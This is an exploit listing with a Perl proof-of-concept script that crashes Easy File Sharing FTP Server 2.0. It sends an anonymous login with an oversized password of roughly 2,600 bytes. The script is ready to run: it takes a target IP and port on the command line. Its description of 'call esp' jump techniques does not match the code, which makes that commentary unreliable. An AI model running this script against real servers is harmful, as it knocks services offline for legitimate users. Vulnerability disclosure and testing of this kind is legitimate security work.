Easy File Sharing FTP Server 2.0 Denial Of Service

`#!/usr/bin/perl  
  
  
use Net::FTP;  
  
# Exploit Title: Easy File Sharing FTP Server 2.0 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 04 january 2024  
# Download to demo: https://drive.google.com/drive/folders/1XISgBk4Zql8NzkWsrzAPOUEqbjJP4hZQ?usp=sharing  
# Notification vendor: No reported  
# Tested Version: Easy File Sharing FTP Server 2.0  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://drive.google.com/drive/folders/1XISgBk4Zql8NzkWsrzAPOUEqbjJP4hZQ?usp=sharing  
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server does not correctly handle the amount of data or bytes of the password entered by the user.  
#When authenticating to the FTP server with a long password or a password with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "[+] Exploiting... \n";  
  
my $payload = "\x2c";  
$payload .= "A"x2000;  
$payload .= "\x41"x610;  
  
my $ftp = Net::FTP->new($ip, Debug => 0) or die "Não foi possível se conectar ao servidor: $@";  
  
$ftp->login("anonymous",$payload) or die "[+] Possibly exploited!";   
  
$ftp->quit;  
  
print "[+] Done - Exploited success!!!!!\n\n";  
  
sub intro {  
print "######################################################################\n";  
print "# Easy File Sharing FTP Server 2.0 - Denied of Service #\n";  
print "# #\n";  
print "# Coded by Fernando Mengali #\n";  
print "# #\n";  
print "# e-mail: fernando.mengalli\@gmail.com #\n";  
print "# #\n";  
print "######################################################################\n";  
}  
  
sub main {  
  
our ($ip, $port) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print " \nUsage: $0 <ip> <port> \n";  
exit(-1);  
  
}  
}  
  
#3. Solution/ How to fix:  
  
# This version product is deprecated  
`